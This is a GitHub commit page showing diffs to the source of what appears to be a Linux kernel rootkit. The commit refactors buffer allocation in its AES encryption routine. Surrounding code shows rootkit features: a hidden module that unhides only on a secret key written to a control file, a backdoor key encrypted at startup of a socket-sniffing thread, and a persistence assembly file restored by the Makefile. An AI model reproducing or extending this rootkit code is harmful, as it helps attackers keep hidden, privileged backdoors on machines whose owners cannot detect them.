Skip to content

Commit

Permalink
Allocate buffer in crypto impl
Browse files Browse the repository at this point in the history
  • Loading branch information
JNE committed Dec 1, 2024
1 parent a9d7114 commit 045c2eb
Show file tree
Hide file tree
Showing 4 changed files with 17 additions and 18 deletions.
2 changes: 1 addition & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -65,7 +65,7 @@ clean:
@rm -f *.o src/*.o $(persist)
@git checkout a6333fdc9e9d647b7d64e9e9cb1e6c0237a8967f \
-- src/persist.S 2>/dev/null || true
@git checkout b5b1976947f16e4f8ac1e1778ef5984a7c47b824 \
@git checkout a9d711472292ad23c284f701fc8848f2947cc224 \
-- src/auto.h 2>/dev/null || true
@echo "Clean."

Expand Down
11 changes: 9 additions & 2 deletions src/crypto.c
Original file line number Diff line number Diff line change
Expand Up @@ -80,6 +80,12 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) {
return 0;
}

kvmgc->kv_data.buf = kmalloc(buflen, GFP_KERNEL);
if (!kvmgc->kv_data.buf) {
prerr("Memory error\n");
return 0;
}

/** debug */
print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true);

Expand All @@ -92,20 +98,21 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) {
rc = crypto_skcipher_encrypt(kvmgc->req);
if (rc < 0) {
prerr("Encryption failed %d\n", rc);
kfree(kvmgc->kv_data.buf);
return 0;
}

copied = sg_copy_to_buffer(&kvmgc->sg, 1, buf, buflen);
if (copied != buflen) {
prerr("encrypted count mismatch, expected %lu, copied %lu\n", buflen, copied);
kfree(kvmgc->kv_data.buf);
return 0;
}

print_hex_dump(KERN_DEBUG, "encrypted text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true);

memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv));

kvmgc->kv_data.buf = buf;
memcpy(kvmgc->kv_data.buf, buf, buflen);
kvmgc->kv_data.buflen = buflen;

return copied;
Expand Down
11 changes: 3 additions & 8 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -507,7 +507,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
{
uint64_t val;
if ((sscanf(args[0].from, "%llx", &val) == 1) &&
UNHIDEKEY == val) {
auto_unhidekey == val) {
kv_unhide_mod();
}
}
Expand Down Expand Up @@ -830,20 +830,15 @@ static int __init kv_init(void) {
kvmgc0 =crypto_init();
if (kvmgc0) {
size_t datalen = 64;
u8 *buf = kmalloc(datalen, GFP_KERNEL);
if (!buf)
return -ENOMEM;

u8 buf[datalen];
memset(buf, 'A', datalen);
kv_encrypt(kvmgc0, buf, datalen);
}

kvmgc1 =crypto_init();
if (kvmgc1) {
size_t datalen = 64;
u8 *buf = kmalloc(datalen, GFP_KERNEL);
if (!buf)
return -ENOMEM;
u8 buf[datalen];

/** go random this time */
get_random_bytes(buf, datalen);
Expand Down
11 changes: 4 additions & 7 deletions src/sock.c
Original file line number Diff line number Diff line change
Expand Up @@ -596,14 +596,11 @@ struct task_struct *kv_sock_start_sniff(void) {
*/
kvmgc_bdkey = crypto_init();
if (kvmgc_bdkey) {
/** Allocate more than needed (8)
* as its the minimum for AES-256
* */
/** for the aes-256, 16 bytes
* is minimum data size
*/
size_t datalen = 16;
u8 *buf = kmalloc(datalen, GFP_KERNEL);
if (!buf)
return NULL;

u8 buf[16] = {0};
memcpy(buf, &auto_bdkey, 8);
kv_encrypt(kvmgc_bdkey, buf, datalen);

Expand Down

0 comments on commit 045c2eb

Please sign in to comment.